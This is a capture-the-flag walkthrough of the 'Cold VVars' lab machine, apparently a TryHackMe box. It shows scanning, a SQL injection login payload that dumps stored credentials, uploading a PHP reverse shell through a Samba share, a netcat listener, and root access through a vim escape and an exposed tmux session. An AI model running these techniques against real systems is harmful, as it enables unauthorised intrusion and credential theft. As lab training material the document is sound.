Cold VVars

Reconnaissance

We aren't given any information prior to the hacking this time, so let's start with an aggressive NMAP scan to see what we can start with.

NMAP output
Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-25 11:04 CET
Warning: 10.10.181.106 giving up on port because retransmission cap hit (2).
Nmap scan report for 10.10.181.106
Host is up (0.038s latency).
Not shown: 65531 closed tcp ports (reset)
PORT     STATE SERVICE     VERSION
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
8080/tcp open  http        Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
8082/tcp open  http        Node.js Express framework
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
Aggressive OS guesses: Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 2.6.32 (92%), Linux 3.1 - 3.2 (92%), Linux 3.11 (92%), Linux 3.2 - 4.9 (92%), Linux 3.5 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: INCOGNITO

Host script results:
| smb-os-discovery:
|   OS: Windows 6.1 (Samba 4.7.6-Ubuntu)
|   Computer name: incognito
|   NetBIOS computer name: INCOGNITO
|   Domain name: 
|   FQDN: incognito
|_  System time: 2021-12-25T10:05:00+00:00
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled but not required
|_nbstat: NetBIOS name: INCOGNITO, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-time:
|   date: 2021-12-25T10:05:02
|_  start_date: N/A

TRACEROUTE (using port 21/tcp)
HOP RTT      ADDRESS
1   37.92 ms 10.8.0.1
2   37.97 ms 10.10.181.106

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 48.56 seconds

Looks like a Linux machine running a node app with some samba shares that don't need authentication, interesting. Let's try to see what unauthenticated samba access brings us first.

smbclient -L /10.10.181.106/

        Sharename       Type      Comment
        ---------       ----      -------
        print$          Disk      Printer Drivers
        SECURED         Disk      Dev
        IPC$            IPC       IPC Service (incognito server (Samba, Ubuntu))

Well that's really boring, looks like there's no share to give us any info since we don't have access to the SECURED share yet. Let's move onto the webpage.

gobuster dir -w common.txt --url http://10.10.181.106:8080 -t 25
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.181.106:8080
[+] Method:                  GET
[+] Threads:                 25
[+] Wordlist:                common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2021/12/25 11:12:05 Starting gobuster in directory enumeration mode
===============================================================
/dev                  (Status: 301) [Size: 319] [--> http://10.10.181.106:8080/dev/]
gobuster dir -w common.txt --url http://10.10.181.106:8082 -t 25
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.181.106:8082
[+] Method:                  GET
[+] Threads:                 25
[+] Wordlist:                common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2021/12/25 11:17:12 Starting gobuster in directory enumeration mode
===============================================================
/Login                (Status: 200) [Size: 1605]
/login                (Status: 200) [Size: 1605]
/static               (Status: 301) [Size: 179] [--> /static/]

===============================================================
2021/12/25 11:17:15 Finished
===============================================================

Nothing out of the ordinary, /dev directory was a dead end and nothing sticks out on port 8082. Let's move to the actual for vulnerabilities.

Scanning

So first thing I did was go to the login directory, naturally I test for SQL injection before anything.

sqlmap -u http://10.10.181.106:8082/login --method POST --data "username=veqweg&password=egqwgeqwe&submit=Login" --dbs
        ___
       __H__
 ___ ___[(]_____ ___ ___  {1.5.9#stable}
|_ -| . [']     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 11:21:27 /2021-12-25/

[11:21:28] [INFO] testing connection to the target URL
[11:21:28] [INFO] checking if the target is protected by some kind of WAF/IPS
[11:21:28] [INFO] testing if the target URL content is stable
[11:21:28] [INFO] target URL content is stable
[11:21:28] [INFO] testing if POST parameter 'username' is dynamic
[11:21:28] [WARNING] POST parameter 'username' does not appear to be dynamic
[11:21:28] [WARNING] heuristic (basic) test shows that POST parameter 'username' might not be injectable
[11:21:28] [INFO] testing for SQL injection on POST parameter 'username'
[11:21:28] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[11:21:29] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[11:21:29] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[11:21:29] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[11:21:30] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[11:21:30] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[11:21:30] [INFO] testing 'Generic inline queries'
[11:21:30] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[11:21:31] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[11:21:31] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[11:21:31] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[11:21:31] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[11:21:32] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)'
[11:21:32] [INFO] testing 'Oracle AND time-based blind'
it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n] y
[11:21:35] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[11:21:36] [WARNING] POST parameter 'username' does not seem to be injectable
[11:21:36] [INFO] testing if POST parameter 'password' is dynamic
[11:21:36] [WARNING] POST parameter 'password' does not appear to be dynamic
[11:21:36] [WARNING] heuristic (basic) test shows that POST parameter 'password' might not be injectable
[11:21:36] [INFO] testing for SQL injection on POST parameter 'password'
[11:21:36] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[11:21:36] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[11:21:37] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[11:21:37] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[11:21:37] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[11:21:38] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[11:21:38] [INFO] testing 'Generic inline queries'
[11:21:38] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[11:21:38] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[11:21:38] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[11:21:39] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[11:21:39] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[11:21:39] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)'
[11:21:40] [INFO] testing 'Oracle AND time-based blind'
[11:21:40] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[11:21:41] [WARNING] POST parameter 'password' does not seem to be injectable
[11:21:41] [INFO] testing if POST parameter 'submit' is dynamic
[11:21:41] [WARNING] POST parameter 'submit' does not appear to be dynamic
[11:21:41] [WARNING] heuristic (basic) test shows that POST parameter 'submit' might not be injectable
[11:21:41] [INFO] testing for SQL injection on POST parameter 'submit'
[11:21:41] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[11:21:41] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[11:21:41] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[11:21:42] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[11:21:42] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[11:21:42] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[11:21:43] [INFO] testing 'Generic inline queries'
[11:21:43] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[11:21:43] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[11:21:43] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[11:21:43] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[11:21:44] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[11:21:44] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)'
[11:21:45] [INFO] testing 'Oracle AND time-based blind'
[11:21:45] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[11:21:45] [WARNING] POST parameter 'submit' does not seem to be injectable
[11:21:45] [CRITICAL] all tested parameters do not appear to be injectable. Try to increase values for '--level'/'--risk' options if you wish to perform more tests. If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could try to use option '--tamper' (e.g. '--tamper=space2comment') and/or switch '--random-agent'

But nothing, but there was nothing else to test at the moment so I tried inputting some manual payloads. After a lot of tries, this one worked.

" or "=" or " payload
Username Password
Tove Jani
Godzilla KONGistheKING
SuperMan snyderCut
ArthurMorgan DeadEye

Logging with any of these accounts is useless, as it just shows the username and the password. So I thought of going back to the Samba Shares and try connecting the the SECURED share.

Password for [WORKGROUP\ArthurMorgan]:
Try "help" to get a list of possible commands.
smb: \> ls -la
NT_STATUS_NO_SUCH_FILE listing \-la
smb: \> ls
  .                                   D        0  Mon Mar 22 00:04:28 2021
  ..                                  D        0  Thu Mar 11 13:52:29 2021
  note.txt                            A       45  Thu Mar 11 13:19:52 2021

                7743660 blocks of size 1024. 4480316 blocks available
smb: \> get note.txt
getting file \note.txt of size 45 as note.txt (0.3 KiloBytes/sec) (average 0.3 KiloBytes/sec)
smb: \> exit
max@1337 ~> cat note.txt
Secure File Upload and Testing Functionality
max@1337 ~> curl http://10.10.181.106:8080/dev/note.txt
Secure File Upload and Testing Functionality

Perfect, so now we have a share to upload files to directly connected to the website in port 8080. Now we only have to upload our reverse shell and invoke it navigating to the file in the website.

Exploiting

As said, just get a php reverse shell from github, upload it to the Samba share, and invoke it with curl or just navigating to the website.

max@1337 ~> smbclient //10.10.181.106/SECURED -U ArthurMorgan
Can't load /etc/samba/smb.conf - run testparm to debug it
Password for [WORKGROUP\ArthurMorgan]:
Try "help" to get a list of possible commands.
smb: \> put php-reverse-shell.php
putting file php-reverse-shell.php as \php-reverse-shell.php (40.9 kb/s) (average 40.9 kb/s)
max@1337 ~ [SIGINT]> curl http://10.10.181.106:8080/dev/php-reverse-shell.php
Connection from 10.10.181.106:37380
Linux incognito 4.15.0-143-generic #147-Ubuntu SMP Wed Apr 14 16:10:11 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
 10:33:58 up 37 min, 20 users,  load average: 0.00, 0.00, 0.39
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
marston  pts/0    tmux(940).%0     09:58   35:03   0.71s  0.71s -bash
marston  pts/1    tmux(940).%1     09:58   34:54   1.25s  1.25s -bash
marston  pts/2    tmux(940).%2     09:58   35:26   0.87s  0.87s -bash
marston  pts/3    tmux(940).%3     09:58   35:25   0.96s  0.96s -bash
marston  pts/4    tmux(940).%4     09:58   35:25   0.86s  0.86s -bash
marston  pts/5    tmux(940).%5     09:58   34:55   0.87s  0.87s -bash
marston  pts/6    tmux(940).%6     09:58   35:22   0.57s  0.57s -bash
marston  pts/7    tmux(940).%7     09:58   35:22   0.73s  0.73s -bash
marston  pts/8    tmux(940).%8     09:58   34:46   0.87s  0.87s -bash
marston  pts/9    tmux(940).%9     09:58   35:20   0.95s  0.95s -bash
marston  pts/10   tmux(940).%10    09:58   35:19   1.24s  1.24s -bash
marston  pts/11   tmux(940).%11    09:58   34:13   1.02s  0.00s sshpass -p zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz ssh root@localhost
marston  pts/12   tmux(940).%12    09:58   35:17   1.26s  1.26s -bash
marston  pts/13   tmux(940).%13    09:58   35:17   0.88s  0.88s -bash
marston  pts/14   tmux(940).%14    09:58   35:14   0.95s  0.95s -bash
marston  pts/15   tmux(940).%15    09:58   34:47   0.64s  0.64s -bash
marston  pts/16   tmux(940).%16    09:58   35:12   0.86s  0.86s -bash
marston  pts/17   tmux(940).%17    09:58   35:06   1.17s  1.17s -bash
marston  pts/18   tmux(940).%18    09:58   35:06   0.88s  0.88s -bash
root     pts/20   127.0.0.1        09:59   34:13   0.48s  0.48s -bash
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ python3 -c "import pty;pty.spawn('/bin/bash')"
www-data@incognito:/$ export TERM=xterm; export SHELL=/bin/bash
export TERM=xterm; export SHELL=/bin/bash
www-data@incognito:/$ ^Zfish: Job 1, 'nc -lvp 1337' has stopped
max@1337 ~> stty raw -echo;fg
Send job 1, “nc -lvp 1337” to foreground


www-data@incognito:/$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@incognito:/$ ls /home
ls /home
ArthurMorgan  marston
www-data@incognito:/$ 

Perfect, we are in, but only as www-data, so let's move to the privilege escalation to root now.

Privilege Escalation

As user www-data, we can get the user flag in /home/ArthurMorgan, but of course we want root, and looks like we will have to do some lateral movement before that. First one is really easy, just su into ArthurMorgan using the same password we found before, this is why it's not a good idea to reuse passwords.

Moving on to second lateral movement, after exploring a bit of the filesystem we find there's an environment variable called OPEN_PORT 4545. Trying curl was no use, as it was closed , so I thought of opening it with netcat. We get 4 options, choosing first 3 are useless, choosing last one we get a vim session. Spawning a shell with ":!bash" finally brings us a shell with the marston user. Time to move to root.

Remembering the time we got the first reverse shell, we were greeted with a lot of random tmux shells, this hints to us connecting to it now that we have privileges and see if there's something hidden inside it.

Note: You are gonna need a stable shell for this, take it from here.

tmux ls
tmux attach -t 0
CTRL+B+n+Enter with 0<n<8
CTRL+Arrow+Enter

And that was everything, last part was kinda dirty even with a stable shell, but we got it nonetheless.